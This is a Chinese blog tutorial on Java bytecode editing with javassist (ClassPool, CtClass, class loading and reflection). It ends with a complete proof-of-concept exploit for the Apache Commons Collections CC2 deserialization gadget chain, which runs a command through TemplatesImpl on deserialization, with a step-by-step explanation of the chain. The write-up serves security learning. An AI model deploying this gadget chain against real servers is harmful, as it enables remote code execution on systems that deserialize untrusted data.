java中javassist、ClassPool、CtClass、Apache CC2链学习
文章目录1. 什么是javassist2. 什么是ClassPool3. 什么是CtClass4. 写一个Class文件test.class5. 修改这个写好了的test.class7. 加载类并获取类中的私有变量6. 参考文章1. 什么是javassistjavassist是一个处理Java字节码的jar包,里面有很多类。2. 什么是ClassPool可以想象成一个容器,里面放着指定路径下的cl
文章目录
1. 什么是javassist
javassist是一个处理Java字节码的jar包,里面有很多类。
2. 什么是ClassPool
可以想象成一个容器,里面放着指定路径下的class文件,使用javassist对类进行操作的时候,必须先创建一个ClassPool。
它也可以暂时存放我们编辑的class文件,等写完后再拿出来放到指定的位置。我们对class文件的操作是在ClassPool中的进行的。
假如我们想获取一个Class文件进行修改,如果ClassPool的路径中没有它,那么我们是找不到的,必须使用insertClassPath();
函数将class文件路径导入ClassPool中才可以。
如果我们不自定义路径,那么它的类的搜索路径包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径。
3. 什么是CtClass
CtClass是javassist中的一个类文件,它的对象可以理解成一个class文件的抽象表示。
一个CtClass对象可以用来修改一个class文件。
4. 写一个Class文件test.class
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import java.io.FileOutputStream;
public class JavasistTest {
public static void main(String[] args) throws Exception{
//默认的类搜索路径
ClassPool pool = ClassPool.getDefault();
//获取一个ctClass对象
CtClass ctClass = pool.makeClass("Test");
try {
//添加age属性
ctClass.addField(CtField.make("private int age;", ctClass));
//添加setAge方法
ctClass.addMethod(CtMethod.make("public void setAge(int age){this.age = age;}", ctClass));
//添加getAge方法
ctClass.addMethod(CtMethod.make("public int getAge(){return this.age;}", ctClass));
//将ctClass生成字节数组,并写入文件
byte[] byteArray = ctClass.toBytecode();
FileOutputStream output = new FileOutputStream("/Users/zhujiayu/IdeaProjects/untitled/out/production/untitled/Test.class");
output.write(byteArray);
output.close();
System.out.println("文件写入成功!!!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
新创建好的test文件如图所示:
5. 修改这个写好了的test.class
我们先将test文件挪到桌面然后执行下面的代码,发现报错,找不到名为Test的class文件:
import javassist.ClassPool;
import javassist.CtClass;
public class Javassisttest2 {
public static void main(String[] args) {
ClassPool pool = ClassPool.getDefault();
try {
//pool.insertClassPath("/Users/zhujiayu/Desktop/");
CtClass ctClass = pool.get("Test");
System.out.println(ctClass.getName());
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后我们将注释取消掉,再执行一遍,发现已经不报错了:
完整的修改代码:
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import java.io.FileOutputStream;
public class Javassisttest2 {
public static void main(String[] args) {
ClassPool pool = ClassPool.getDefault();
try {
pool.insertClassPath("/Users/zhujiayu/Desktop/");
CtClass ctClass = pool.get("Test");
System.out.println(ctClass.getName());
if (ctClass.isFrozen()) {
ctClass.defrost();
}
ctClass.addField(CtField.make("private String sex;", ctClass));
ctClass.addField(CtField.make("private String name;", ctClass));
//修改test.class的父类,可以理解成修改test.class的继承关系,下面是将AbstractTranslet类指定为test的父类
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] byteArray = ctClass.toBytecode();
FileOutputStream output = new FileOutputStream("/Users/zhujiayu/IdeaProjects/untitled/out/production/untitled/Test.class");
output.write(byteArray);
output.close();
//
System.out.println("文件修改成功!!!!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
修改后我们打开test.class查看发现代码确实被修改了
6. 加载类并获取类中的私有变量
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
public class Javassisttest2 {
public static void main(String[] args) throws NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("/Users/zhujiayu/Desktop/");
try {
CtClass ctClass = pool.get("Test");
Class<?> c = ctClass.toClass(); //相当于执行了Classloader,执行后会将上一行指定的Test.class加载到JVM中
//生成实例instance
Object qq = c.newInstance();
//利用反射调用实例中的函数
System.out.println("通过getage函数获取的age的数据为:"+c.getDeclaredMethod("getAge",null).invoke(qq,null));
//利用反射获取实例中的私有变量
System.out.println("通过getDeclaredField函数获取的age的数据为:"+c.getDeclaredField("age").get(qq));
} catch (Exception e) {
e.printStackTrace();
}
}
}
7. 利用原始ClassLoader的方式配合javassist加载class文件
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.lang.reflect.Method;
public class Javassisttest2 {
public static void main(String[] args) throws NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("/Users/zhujiayu/Desktop/");
try {
CtClass ctClass = pool.get("Test");
Class<?> clas = Class.forName("java.lang.ClassLoader");
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);
byte[] b = ctClass.toBytecode();
Class c = (Class)defineclass.invoke(ClassLoader.getSystemClassLoader(), "Test", b, 0, b.length);
//上面这5行就等于 Class<?> c = ctClass.toClass();
Object qq = c.newInstance();
System.out.println("通过getage函数获取的age的数据为:"+c.getDeclaredMethod("getAge",![在这里插入图片描述](https://img-blog.csdnimg.cn/59225d0d76304fd38ba381182b3fe962.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAU2hhbmZlbmdsYW43,size_20,color_FFFFFF,t_70,g_se,x_16)
null).invoke(qq,null));
} catch (Exception e) {
e.printStackTrace();
}
}
}
9. apache CC2链逻辑
//poc
读取恶意字节码从而进行执行命令
Poc 如下:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class CommonCollection2 {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
- 我们先写好恶意类,并设置好参数传入TemplatesImpl对象中.只要我们触发这个对象的newTransformer函数即可触发恶意代码执行.
- InvokerTransformer类的transform函数,可以触发指定类的指定函数.我们可以配置一个InvokerTransformer类的对象,设置参数,使其可以通过transform函数触发指定类的newTransformer函数,这个指定类就是transform函数的参数.现在我们想办法触发InvokerTransformer实例的transform函数并且将上面创建的TemplatesImpl实例传入transform函数即可完成攻击.
- TransformingComparator类中有一个属性叫做transformer,当TransformingComparator实例的Compare函数被触发的时候,就会执行TransformingComparator实例中transformer的transform方法.且compare函数的参数会被传递给transform函数当作它自己的参数.如果我们可以将compare的参数设置成恶意的TemplatesImpl对象,并且触发compare函数,那么就能实现攻击.现在问题是如何给compare函数传入参数并且触发TransformingComparator.compare()这个函数.
- PriorityQueue类在反序列化时候会调用comparator对象的compare方法,compare方法的参数是PriorityQueue类的queue属性中的值,而queue属性在序列化的时候可以被我们提前定义。们可以通过反射设置comparator的值.也可以设置queue对象的值,这也就意味着我们满足了要执行命令的所有条件.
- 综上,我们创建一个PriorityQueue类的对象,并将TransformingComparator传给comparator,将恶意TemplatesImpl对象按照特定格式传给PriorityQueue的queue属性,然后将这个PriorityQueue对象进行序列化,传送给服务端等待被反序列化,反序列化时就会触发RCE攻击。
8. 参考文章
ClassPool CtClass浅析
Java动态编程初探——Javassist
Java反序列化-CommonsCollections2分析
更多推荐
所有评论(0)